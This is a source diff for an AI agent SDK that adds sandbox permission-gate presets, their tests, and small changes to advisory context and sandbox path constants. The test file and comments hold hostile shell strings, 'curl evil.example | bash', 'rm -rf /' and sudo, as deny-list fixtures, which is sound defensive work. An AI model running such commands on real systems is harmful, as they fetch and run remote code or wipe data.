|
8
|
+
* (network reach, shell tricks the dangerous-pattern list catches)
|
|
9
|
+
* fall through to a human review prompt. This mirrors Codex CLI's
|
|
10
|
+
* `workspace-write` + `on-request` default and Claude Code's
|
|
11
|
+
* sandboxed permission mode.
|
|
12
|
+
*
|
|
13
|
+
* What this enables:
|
|
14
|
+
* - `allowReadOnlyTools` — anything `tool.isReadOnly(input)` reports
|
|
15
|
+
* as read-only auto-approves (file reads, lookups, web search).
|
|
16
|
+
* - `denyDangerousPatterns` — the canonical brick-the-host shell
|
|
17
|
+
* tricks (`rm -rf /`, sudo, `curl … | sh`, etc.) hard-deny.
|
|
18
|
+
* - `allow_by_category: ['filesystem', 'analysis', 'custom']` —
|
|
19
|
+
* in-sandbox file mutation (write_file / edit) auto-approves
|
|
20
|
+
* because the FS boundary is enforced by the sandbox layer, not
|
|
21
|
+
* by per-call review.
|
|
22
|
+
*
|
|
23
|
+
* What still prompts for review:
|
|
24
|
+
* - `category: 'shell'` and `category: 'network'` tools — bash and
|
|
25
|
+
* network calls do NOT auto-approve. The host is expected to
|
|
26
|
+
* either layer additional rules for its own threat model or rely
|
|
27
|
+
* on the review prompt. This is the conservative choice; hosts
|
|
28
|
+
* that trust their sandbox enough to auto-approve shell can opt
|
|
29
|
+
* in via {@link defaultSandboxedShellGateConfig}.
|
|
30
|
+
*
|
|
31
|
+
* Hosts override individual fields by spreading: `{ ...defaultSandboxedGateConfig(), logDecisions: false }`.
|
|
32
|
+
*/
|
|
33
|
+
export declare function defaultSandboxedGateConfig(): VerificationGateConfig;
|
|
34
|
+
/**
|
|
35
|
+
* Like {@link defaultSandboxedGateConfig} but additionally trusts
|
|
36
|
+
* `category: 'shell'` tools (bash, etc.) to auto-approve inside the
|
|
37
|
+
* sandbox, on the assumption that the host has real OS-level
|
|
38
|
+
* isolation around the agent's working directory and outbound
|
|
39
|
+
* network. The dangerous-patterns deny rule still hard-denies the
|
|
40
|
+
* canonical brick patterns.
|
|
41
|
+
*
|
|
42
|
+
* Use this when:
|
|
43
|
+
* - The agent runs inside a per-task container or VM.
|
|
44
|
+
* - Outbound network is gated by an egress allowlist proxy.
|
|
45
|
+
* - The cost of a per-call review prompt outweighs the cost of an
|
|
46
|
+
* in-sandbox shell mistake.
|
|
47
|
+
*
|
|
48
|
+
* Don't use this when the agent runs in a shared process with
|
|
49
|
+
* other tenants, or when the working directory is the user's
|
|
50
|
+
* actual home/repo without an extra isolation layer.
|
|
51
|
+
*/
|
|
52
|
+
export declare function defaultSandboxedShellGateConfig(): VerificationGateConfig;
|
|
53
|
+
//# sourceMappingURL=presets.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"presets.d.ts","sourceRoot":"","sources":["../../src/verification/presets.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,EAAE,sBAAsB,EAAE,MAAM,gCAAgC,CAAA;AAE5E;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GA8BG;AACH,wBAAgB,0BAA0B,IAAI,sBAAsB,CAQnE;AAED;;;;;;;;;;;;;;;;;GAiBG;AACH,wBAAgB,+BAA+B,IAAI,sBAAsB,CAUxE"}
|
|
@@ -0,0 +1,70 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Sensible defaults for an agent that runs inside a host-provided
|
|
3
|
+
* sandbox (isolated working directory, isolated container, or both).
|
|
4
|
+
*
|
|
5
|
+
* The model: the sandbox is the safety boundary. Anything that
|
|
6
|
+
* stays inside the sandbox auto-approves. Things that try to escape
|
|
7
|
+
* (network reach, shell tricks the dangerous-pattern list catches)
|
|
8
|
+
* fall through to a human review prompt. This mirrors Codex CLI's
|
|
9
|
+
* `workspace-write` + `on-request` default and Claude Code's
|
|
10
|
+
* sandboxed permission mode.
|
|
11
|
+
*
|
|
12
|
+
* What this enables:
|
|
13
|
+
* - `allowReadOnlyTools` — anything `tool.isReadOnly(input)` reports
|
|
14
|
+
* as read-only auto-approves (file reads, lookups, web search).
|
|
15
|
+
* - `denyDangerousPatterns` — the canonical brick-the-host shell
|
|
16
|
+
* tricks (`rm -rf /`, sudo, `curl … | sh`, etc.) hard-deny.
|
|
17
|
+
* - `allow_by_category: ['filesystem', 'analysis', 'custom']` —
|
|
18
|
+
* in-sandbox file mutation (write_file / edit) auto-approves
|
|
19
|
+
* because the FS boundary is enforced by the sandbox layer, not
|
|
20
|
+
* by per-call review.
|
|
21
|
+
*
|
|
22
|
+
* What still prompts for review:
|
|
23
|
+
* - `category: 'shell'` and `category: 'network'` tools — bash and
|
|
24
|
+
* network calls do NOT auto-approve. The host is expected to
|
|
25
|
+
* either layer additional rules for its own threat model or rely
|
|
26
|
+
* on the review prompt. This is the conservative choice; hosts
|
|
27
|
+
* that trust their sandbox enough to auto-approve shell can opt
|
|
28
|
+
* in via {@link defaultSandboxedShellGateConfig}.
|
|
29
|
+
*
|
|
30
|
+
* Hosts override individual fields by spreading: `{ ...defaultSandboxedGateConfig(), logDecisions: false }`.
|
|
31
|
+
*/
|
|
32
|
+
export function defaultSandboxedGateConfig() {
|
|
33
|
+
return {
|
|
34
|
+
enabled: true,
|
|
35
|
+
allowReadOnlyTools: true,
|
|
36
|
+
denyDangerousPatterns: true,
|
|
37
|
+
logDecisions: false,
|
|
38
|
+
rules: [{ type: 'allow_by_category', categories: ['filesystem', 'analysis', 'custom'] }],
|
|
39
|
+
};
|
|
40
|
+
}
|
|
41
|
+
/**
|
|
42
|
+
* Like {@link defaultSandboxedGateConfig} but additionally trusts
|
|
43
|
+
* `category: 'shell'` tools (bash, etc.) to auto-approve inside the
|
|
44
|
+
* sandbox, on the assumption that the host has real OS-level
|
|
45
|
+
* isolation around the agent's working directory and outbound
|
|
46
|
+
* network. The dangerous-patterns deny rule still hard-denies the
|
|
47
|
+
* canonical brick patterns.
|
|
48
|
+
*
|
|
49
|
+
* Use this when:
|
|
50
|
+
* - The agent runs inside a per-task container or VM.
|
|
51
|
+
* - Outbound network is gated by an egress allowlist proxy.
|
|
52
|
+
* - The cost of a per-call review prompt outweighs the cost of an
|
|
53
|
+
* in-sandbox shell mistake.
|
|
54
|
+
*
|
|
55
|
+
* Don't use this when the agent runs in a shared process with
|
|
56
|
+
* other tenants, or when the working directory is the user's
|
|
57
|
+
* actual home/repo without an extra isolation layer.
|
|
58
|
+
*/
|
|
59
|
+
export function defaultSandboxedShellGateConfig() {
|
|
60
|
+
return {
|
|
61
|
+
enabled: true,
|
|
62
|
+
allowReadOnlyTools: true,
|
|
63
|
+
denyDangerousPatterns: true,
|
|
64
|
+
logDecisions: false,
|
|
65
|
+
rules: [
|
|
66
|
+
{ type: 'allow_by_category', categories: ['filesystem', 'shell', 'analysis', 'custom'] },
|
|
67
|
+
],
|
|
68
|
+
};
|
|
69
|
+
}
|
|
70
|
+
//# sourceMappingURL=presets.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"presets.js","sourceRoot":"","sources":["../../src/verification/presets.ts"],"names":[],"mappings":"AAEA;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GA8BG;AACH,MAAM,UAAU,0BAA0B;IACzC,OAAO;QACN,OAAO,EAAE,IAAI;QACb,kBAAkB,EAAE,IAAI;QACxB,qBAAqB,EAAE,IAAI;QAC3B,YAAY,EAAE,KAAK;QACnB,KAAK,EAAE,CAAC,EAAE,IAAI,EAAE,mBAAmB,EAAE,UAAU,EAAE,CAAC,YAAY,EAAE,UAAU,EAAE,QAAQ,CAAC,EAAE,CAAC;KACxF,CAAA;AACF,CAAC;AAED;;;;;;;;;;;;;;;;;GAiBG;AACH,MAAM,UAAU,+BAA+B;IAC9C,OAAO;QACN,OAAO,EAAE,IAAI;QACb,kBAAkB,EAAE,IAAI;QACxB,qBAAqB,EAAE,IAAI;QAC3B,YAAY,EAAE,KAAK;QACnB,KAAK,EAAE;YACN,EAAE,IAAI,EAAE,mBAAmB,EAAE,UAAU,EAAE,CAAC,YAAY,EAAE,OAAO,EAAE,UAAU,EAAE,QAAQ,CAAC,EAAE;SACxF;KACD,CAAA;AACF,CAAC"}
|
|
@@ -0,0 +1,16 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Behavioural contract for the gate presets:
|
|
3
|
+
*
|
|
4
|
+
* - `defaultSandboxedGateConfig()` auto-allows read-only and
|
|
5
|
+
* in-sandbox file mutation, denies the canonical brick patterns,
|
|
6
|
+
* and forces shell calls to fall through to a review prompt.
|
|
7
|
+
* - `defaultSandboxedShellGateConfig()` extends auto-allow to bash
|
|
8
|
+
* for hosts with real OS-level isolation, while keeping the
|
|
9
|
+
* dangerous-pattern hard-deny.
|
|
10
|
+
*
|
|
11
|
+
* The presets are documented in `presets.ts`; this test pins the
|
|
12
|
+
* decisions a host actually depends on so future preset edits
|
|
13
|
+
* can't silently change shipping defaults.
|
|
14
|
+
*/
|
|
15
|
+
export {};
|
|
16
|
+
//# sourceMappingURL=presets.test.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"presets.test.d.ts","sourceRoot":"","sources":["../../src/verification/presets.test.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;GAaG"}
|
|
@@ -0,0 +1,79 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Behavioural contract for the gate presets:
|
|
3
|
+
*
|
|
4
|
+
* - `defaultSandboxedGateConfig()` auto-allows read-only and
|
|
5
|
+
* in-sandbox file mutation, denies the canonical brick patterns,
|
|
6
|
+
* and forces shell calls to fall through to a review prompt.
|
|
7
|
+
* - `defaultSandboxedShellGateConfig()` extends auto-allow to bash
|
|
8
|
+
* for hosts with real OS-level isolation, while keeping the
|
|
9
|
+
* dangerous-pattern hard-deny.
|
|
10
|
+
*
|
|
11
|
+
* The presets are documented in `presets.ts`; this test pins the
|
|
12
|
+
* decisions a host actually depends on so future preset edits
|
|
13
|
+
* can't silently change shipping defaults.
|
|
14
|
+
*/
|
|
15
|
+
import { describe, expect, it } from 'vitest';
|
|
16
|
+
import { VerificationGate } from './gate.js';
|
|
17
|
+
import { defaultSandboxedGateConfig, defaultSandboxedShellGateConfig } from './presets.js';
|
|
18
|
+
const silentLog = {
|
|
19
|
+
debug() { },
|
|
20
|
+
info() { },
|
|
21
|
+
warn() { },
|
|
22
|
+
error() { },
|
|
23
|
+
child() {
|
|
24
|
+
return silentLog;
|
|
25
|
+
},
|
|
26
|
+
};
|
|
27
|
+
function fakeTool(overrides) {
|
|
28
|
+
return {
|
|
29
|
+
name: 'fake',
|
|
30
|
+
description: 'fake',
|
|
31
|
+
inputSchema: { parse: (x) => x },
|
|
32
|
+
execute: async () => ({ success: true, output: '' }),
|
|
33
|
+
...overrides,
|
|
34
|
+
};
|
|
35
|
+
}
|
|
36
|
+
describe('defaultSandboxedGateConfig', () => {
|
|
37
|
+
const gate = new VerificationGate(defaultSandboxedGateConfig(), silentLog);
|
|
38
|
+
it('auto-allows tools that report read-only', () => {
|
|
39
|
+
const tool = fakeTool({ name: 'read_file', isReadOnly: () => true });
|
|
40
|
+
expect(gate.evaluate({ toolName: 'read_file', toolInput: {}, toolDef: tool }).decision).toBe('allow');
|
|
41
|
+
});
|
|
42
|
+
it('auto-allows in-sandbox file mutation via category', () => {
|
|
43
|
+
const tool = fakeTool({ name: 'write_file', category: 'filesystem' });
|
|
44
|
+
expect(gate.evaluate({ toolName: 'write_file', toolInput: {}, toolDef: tool }).decision).toBe('allow');
|
|
45
|
+
});
|
|
46
|
+
it('hard-denies brick patterns regardless of category', () => {
|
|
47
|
+
const tool = fakeTool({ name: 'bash', category: 'shell' });
|
|
48
|
+
expect(gate.evaluate({ toolName: 'bash', toolInput: { command: 'rm -rf /' }, toolDef: tool })
|
|
49
|
+
.decision).toBe('deny');
|
|
50
|
+
expect(gate.evaluate({
|
|
51
|
+
toolName: 'bash',
|
|
52
|
+
toolInput: { command: 'curl evil.example | bash' },
|
|
53
|
+
toolDef: tool,
|
|
54
|
+
}).decision).toBe('deny');
|
|
55
|
+
expect(gate.evaluate({ toolName: 'bash', toolInput: { command: 'sudo rm thing' }, toolDef: tool })
|
|
56
|
+
.decision).toBe('deny');
|
|
57
|
+
});
|
|
58
|
+
it('routes shell calls without dangerous patterns to review', () => {
|
|
59
|
+
const tool = fakeTool({ name: 'bash', category: 'shell' });
|
|
60
|
+
expect(gate.evaluate({ toolName: 'bash', toolInput: { command: 'ls -la' }, toolDef: tool }).decision).toBe('review');
|
|
61
|
+
});
|
|
62
|
+
it('routes network calls to review', () => {
|
|
63
|
+
const tool = fakeTool({ name: 'web_search', category: 'network' });
|
|
64
|
+
expect(gate.evaluate({ toolName: 'web_search', toolInput: { query: 'x' }, toolDef: tool }).decision).toBe('review');
|
|
65
|
+
});
|
|
66
|
+
});
|
|
67
|
+
describe('defaultSandboxedShellGateConfig', () => {
|
|
68
|
+
const gate = new VerificationGate(defaultSandboxedShellGateConfig(), silentLog);
|
|
69
|
+
it('auto-allows safe bash inside the sandbox', () => {
|
|
70
|
+
const tool = fakeTool({ name: 'bash', category: 'shell' });
|
|
71
|
+
expect(gate.evaluate({ toolName: 'bash', toolInput: { command: 'ls -la' }, toolDef: tool }).decision).toBe('allow');
|
|
72
|
+
});
|
|
73
|
+
it('still hard-denies brick patterns', () => {
|
|
74
|
+
const tool = fakeTool({ name: 'bash', category: 'shell' });
|
|
75
|
+
expect(gate.evaluate({ toolName: 'bash', toolInput: { command: 'rm -rf /' }, toolDef: tool })
|
|
76
|
+
.decision).toBe('deny');
|
|
77
|
+
});
|
|
78
|
+
});
|
|
79
|
+
//# sourceMappingURL=presets.test.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"presets.test.js","sourceRoot":"","sources":["../../src/verification/presets.test.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;GAaG;AAEH,OAAO,EAAE,QAAQ,EAAE,MAAM,EAAE,EAAE,EAAE,MAAM,QAAQ,CAAA;AAK7C,OAAO,EAAE,gBAAgB,EAAE,MAAM,WAAW,CAAA;AAC5C,OAAO,EAAE,0BAA0B,EAAE,+BAA+B,EAAE,MAAM,cAAc,CAAA;AAE1F,MAAM,SAAS,GAAW;IACzB,KAAK,KAAI,CAAC;IACV,IAAI,KAAI,CAAC;IACT,IAAI,KAAI,CAAC;IACT,KAAK,KAAI,CAAC;IACV,KAAK;QACJ,OAAO,SAAS,CAAA;IACjB,CAAC;CACD,CAAA;AAED,SAAS,QAAQ,CAAC,SAAkC;IACnD,OAAO;QACN,IAAI,EAAE,MAAM;QACZ,WAAW,EAAE,MAAM;QACnB,WAAW,EAAE,EAAE,KAAK,EAAE,CAAC,CAAU,EAAE,EAAE,CAAC,CAAC,EAAW;QAClD,OAAO,EAAE,KAAK,IAAI,EAAE,CAAC,CAAC,EAAE,OAAO,EAAE,IAAI,EAAE,MAAM,EAAE,EAAE,EAAE,CAAC;QACpD,GAAG,SAAS;KACZ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,QAAQ,CAAC,iCAAiC,EAAE,GAAG,EAAE;IAChD,MAAM,IAAI,GAAG,IAAI,gBAAgB,CAAC,+BAA+B,EAAE,EAAE,SAAS,CAAC,CAAA;IAE/E,EAAE,CAAC,0CAA0C,EAAE,GAAG,EAAE;QACnD,MAAM,IAAI,GAAG,QAAQ,CAAC,EAAE,IAAI,EAAE,MAAM,EAAE,QAAQ,EAAE,OAAO,EAAE,CAAC,CAAA;QAC1D,MAAM,CACL,IAAI,CAAC,QAAQ,CAAC,EAAE,QAAQ,EAAE,MAAM,EAAE,SAAS,EAAE,EAAE,OAAO,EAAE,QAAQ,EAAE,EAAE,OAAO,EAAE,IAAI,EAAE,CAAC,CAAC,QAAQ,CAC7F,CAAC,IAAI,CAAC,OAAO,CAAC,CAAA;IAChB,CAAC,CAAC,CAAA;IAEF,EAAE,CAAC,kCAAkC,EAAE,GAAG,EAAE;QAC3C,MAAM,IAAI,GAAG,QAAQ,CAAC,EAAE,IAAI,EAAE,MAAM,EAAE,QAAQ,EAAE,OAAO,EAAE,CAAC,CAAA;QAC1D,MAAM,CACL,IAAI,CAAC,QAAQ,CAAC,EAAE,QAAQ,EAAE,MAAM,EAAE,SAAS,EAAE,EAAE,OAAO,EAAE,UAAU,EAAE,EAAE,OAAO,EAAE,IAAI,EAAE,CAAC;aACpF,QAAQ,CACV,CAAC,IAAI,CAAC,MAAM,CAAC,CAAA;IACf,CAAC,CAAC,CAAA;AACH,CAAC,CAAC,CAAA"}
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@namzu/sdk",
|
|
3
|
-
"version": "0.
|
|
3
|
+
"version": "1.0.0",
|
|
4
4
|
"description": "Open-source AI agent SDK with a built-in runtime. Nothing between you and your agents.",
|
|
5
5
|
"license": "FSL-1.1-MIT",
|
|
6
6
|
"type": "module",
|
|
@@ -17,7 +17,8 @@
|
|
|
17
17
|
"exports": {
|
|
18
18
|
".": {
|
|
19
19
|
"types": "./dist/index.d.ts",
|
|
20
|
-
"import": "./dist/index.js"
|
|
20
|
+
"import": "./dist/index.js",
|
|
21
|
+
"default": "./dist/index.js"
|
|
21
22
|
}
|
|
22
23
|
},
|
|
23
24
|
"files": [
|
|
@@ -21,7 +21,8 @@
|
|
|
21
21
|
* - `buildContext`:
|
|
22
22
|
* - Returns [] when `request.includeContext === false`.
|
|
23
23
|
* - Includes workingStateSummary when present.
|
|
24
|
-
* - Includes
|
|
24
|
+
* - Includes a runtime tool summary when a toolCatalog is present
|
|
25
|
+
* + non-empty; executable schemas remain runtime-owned.
|
|
25
26
|
* - Includes truncated conversation context (most-recent-first
|
|
26
27
|
* walk, bounded by `advisor.maxContextTokens * CHARS_PER_TOKEN`).
|
|
27
28
|
* - Returns [] when no context parts were assembled.
|
|
@@ -205,7 +206,7 @@ describe('AdvisoryExecutor — buildContext', () => {
|
|
|
205
206
|
expect(call.messages).toHaveLength(2)
|
|
206
207
|
})
|
|
207
208
|
|
|
208
|
-
it('includes workingStateSummary +
|
|
209
|
+
it('includes workingStateSummary + runtime tool summary when present', async () => {
|
|
209
210
|
const provider = mockProvider()
|
|
210
211
|
const e = new AdvisoryExecutor()
|
|
211
212
|
await e.consult(advisor({ provider }), req, {
|
|
@@ -227,8 +228,10 @@ describe('AdvisoryExecutor — buildContext', () => {
|
|
|
227
228
|
const contextMsg = call.messages[1]?.content ?? ''
|
|
228
229
|
expect(contextMsg).toContain('Working State')
|
|
229
230
|
expect(contextMsg).toContain('state summary here')
|
|
230
|
-
expect(contextMsg).toContain('
|
|
231
|
-
expect(contextMsg).toContain('
|
|
231
|
+
expect(contextMsg).toContain('Runtime Tool Summary')
|
|
232
|
+
expect(contextMsg).toContain('executable schemas remain owned by the runtime tool catalogue')
|
|
233
|
+
expect(contextMsg).toContain('- read_file: read')
|
|
234
|
+
expect(contextMsg).toContain('- write_file: write')
|
|
232
235
|
})
|
|
233
236
|
|
|
234
237
|
it('includes conversation context (no truncation when no maxContextTokens)', async () => {
|
package/src/advisory/executor.ts
CHANGED
|
@@ -119,8 +119,17 @@ export class AdvisoryExecutor {
|
|
|
119
119
|
}
|
|
120
120
|
|
|
121
121
|
if (callCtx.toolCatalog && callCtx.toolCatalog.length > 0) {
|
|
122
|
-
const
|
|
123
|
-
|
|
122
|
+
const toolLines = callCtx.toolCatalog.map((tool) => {
|
|
123
|
+
const description = tool.function.description?.trim()
|
|
124
|
+
return description ? `- ${tool.function.name}: ${description}` : `- ${tool.function.name}`
|
|
125
|
+
})
|
|
126
|
+
contextParts.push(
|
|
127
|
+
[
|
|
128
|
+
'## Runtime Tool Summary',
|
|
129
|
+
'These tools are available to the executor. Their executable schemas remain owned by the runtime tool catalogue; use this as advisory context only.',
|
|
130
|
+
toolLines.join('\n'),
|
|
131
|
+
].join('\n'),
|
|
132
|
+
)
|
|
124
133
|
}
|
|
125
134
|
|
|
126
135
|
const messagesToInclude = this.truncateMessages(callCtx.messages, advisor.maxContextTokens)
|
|
@@ -46,6 +46,8 @@ export class ReactiveAgent extends AbstractAgent<ReactiveAgentConfig, ReactiveAg
|
|
|
46
46
|
basePrompt: config.basePrompt,
|
|
47
47
|
provider: config.provider,
|
|
48
48
|
tools: config.tools,
|
|
49
|
+
...(config.verificationGate ? { verificationGate: config.verificationGate } : {}),
|
|
50
|
+
...(config.sandboxProvider ? { sandboxProvider: config.sandboxProvider } : {}),
|
|
49
51
|
runConfig: {
|
|
50
52
|
model: config.model,
|
|
51
53
|
tokenBudget: config.tokenBudget,
|
|
@@ -113,6 +113,11 @@ export class SupervisorAgent extends AbstractAgent<SupervisorAgentConfig, Superv
|
|
|
113
113
|
})
|
|
114
114
|
|
|
115
115
|
const tools = new ToolRegistry()
|
|
116
|
+
if (config.tools) {
|
|
117
|
+
for (const tool of config.tools.getAll()) {
|
|
118
|
+
tools.register(tool, config.tools.getAvailability(tool.name))
|
|
119
|
+
}
|
|
120
|
+
}
|
|
116
121
|
for (const tool of coordinatorToolDefs) {
|
|
117
122
|
tools.register(tool)
|
|
118
123
|
}
|
|
@@ -125,6 +130,7 @@ export class SupervisorAgent extends AbstractAgent<SupervisorAgentConfig, Superv
|
|
|
125
130
|
const run = await drainQuery(
|
|
126
131
|
{
|
|
127
132
|
systemPrompt: config.systemPrompt,
|
|
133
|
+
skills: config.skills,
|
|
128
134
|
provider: config.provider,
|
|
129
135
|
tools,
|
|
130
136
|
runConfig: {
|
|
@@ -158,6 +164,13 @@ export class SupervisorAgent extends AbstractAgent<SupervisorAgentConfig, Superv
|
|
|
158
164
|
launchedTasks,
|
|
159
165
|
advisory: config.advisory,
|
|
160
166
|
invocationState: childInvocationState,
|
|
167
|
+
// HITL surface: forward optional review-time hooks so hosts can
|
|
168
|
+
// run "Ask before acting" supervisors instead of the default
|
|
169
|
+
// auto-approve. drainQuery falls back to autoApproveHandler
|
|
170
|
+
// when resumeHandler is omitted (= same behaviour as before).
|
|
171
|
+
...(config.resumeHandler ? { resumeHandler: config.resumeHandler } : {}),
|
|
172
|
+
...(config.verificationGate ? { verificationGate: config.verificationGate } : {}),
|
|
173
|
+
...(config.sandboxProvider ? { sandboxProvider: config.sandboxProvider } : {}),
|
|
161
174
|
},
|
|
162
175
|
listener,
|
|
163
176
|
)
|
|
@@ -491,14 +491,14 @@ describe('mapRunToStreamEvent — v3 message and tool-input lifecycle', () => {
|
|
|
491
491
|
iteration: 0,
|
|
492
492
|
messageId: MID,
|
|
493
493
|
toolUseId: TUID,
|
|
494
|
-
toolName: '
|
|
494
|
+
toolName: 'read',
|
|
495
495
|
},
|
|
496
496
|
RID,
|
|
497
497
|
)
|
|
498
498
|
expect(r?.wire).toBe('tool.input_started')
|
|
499
499
|
expect(r?.data).toMatchObject({
|
|
500
500
|
tool_use_id: TUID,
|
|
501
|
-
tool_name: '
|
|
501
|
+
tool_name: 'read',
|
|
502
502
|
message_id: MID,
|
|
503
503
|
})
|
|
504
504
|
})
|
|
@@ -1,10 +1,15 @@
|
|
|
1
|
-
|
|
1
|
+
// Tool-name buckets used by the compaction extractor to classify
|
|
2
|
+
// captured tool results. Lowercase to match the canonical builtin
|
|
3
|
+
// tool names (Anthropic Claude emits `tool_use.name` lowercase, see
|
|
4
|
+
// ses_008-tool-name-case-fix). `edit` is grouped with `write`
|
|
5
|
+
// because both mutate file content.
|
|
6
|
+
export const READ_TOOLS = new Set(['read'])
|
|
2
7
|
|
|
3
|
-
export const EDIT_TOOLS = new Set(['
|
|
8
|
+
export const EDIT_TOOLS = new Set(['write', 'edit'])
|
|
4
9
|
|
|
5
10
|
export const SHELL_TOOLS = new Set(['bash'])
|
|
6
11
|
|
|
7
|
-
export const SEARCH_TOOLS = new Set(['glob', '
|
|
12
|
+
export const SEARCH_TOOLS = new Set(['glob', 'grep'])
|
|
8
13
|
|
|
9
14
|
export const SECTION_HEADERS = {
|
|
10
15
|
task: '## Task',
|
|
@@ -29,3 +29,40 @@ export const SANDBOX_SAFE_ENV_KEYS = new Set([
|
|
|
29
29
|
'LC_ALL',
|
|
30
30
|
'LC_CTYPE',
|
|
31
31
|
])
|
|
32
|
+
|
|
33
|
+
// ---------------------------------------------------------------------------
|
|
34
|
+
// ContainerSandboxLayout default container paths
|
|
35
|
+
// ---------------------------------------------------------------------------
|
|
36
|
+
//
|
|
37
|
+
// Mirrors the taxonomy Anthropic's container architecture exposes to
|
|
38
|
+
// the model (Claude container blueprint, Code Interpreter, "skills").
|
|
39
|
+
// Exported so prompt-template consumers can write
|
|
40
|
+
// `Outputs go to ${SANDBOX_DEFAULT_OUTPUTS_PATH}` instead of
|
|
41
|
+
// hard-coding the string in two places that drift.
|
|
42
|
+
|
|
43
|
+
/** Default container path for the user-visible outputs (RW) bind. */
|
|
44
|
+
export const SANDBOX_DEFAULT_OUTPUTS_PATH = '/mnt/user-data/outputs'
|
|
45
|
+
|
|
46
|
+
/** Default container path for user-uploaded files (RO). */
|
|
47
|
+
export const SANDBOX_DEFAULT_UPLOADS_PATH = '/mnt/user-data/uploads'
|
|
48
|
+
|
|
49
|
+
/**
|
|
50
|
+
* Default container path for the agent's working/scratch space (RW).
|
|
51
|
+
* Sibling mount to {@link SANDBOX_DEFAULT_OUTPUTS_PATH} — anything
|
|
52
|
+
* written here is invisible to the output collector by design,
|
|
53
|
+
* mirroring the Anthropic Cowork pattern (`/home/claude` scratch vs.
|
|
54
|
+
* `/mnt/user-data/outputs` user-visible).
|
|
55
|
+
*/
|
|
56
|
+
export const SANDBOX_DEFAULT_SCRATCH_PATH = '/mnt/user-data/scratch'
|
|
57
|
+
|
|
58
|
+
/** Default container path for cached tool fetches (RO). */
|
|
59
|
+
export const SANDBOX_DEFAULT_TOOL_RESULTS_PATH = '/mnt/user-data/tool_results'
|
|
60
|
+
|
|
61
|
+
/** Default container path for prior-conversation transcripts (RO). */
|
|
62
|
+
export const SANDBOX_DEFAULT_TRANSCRIPTS_PATH = '/mnt/transcripts'
|
|
63
|
+
|
|
64
|
+
/**
|
|
65
|
+
* Default parent path under which each skill bundle binds.
|
|
66
|
+
* Per-skill default is `${SANDBOX_DEFAULT_SKILLS_PARENT}/<skill-id>`.
|
|
67
|
+
*/
|
|
68
|
+
export const SANDBOX_DEFAULT_SKILLS_PARENT = '/mnt/skills'
|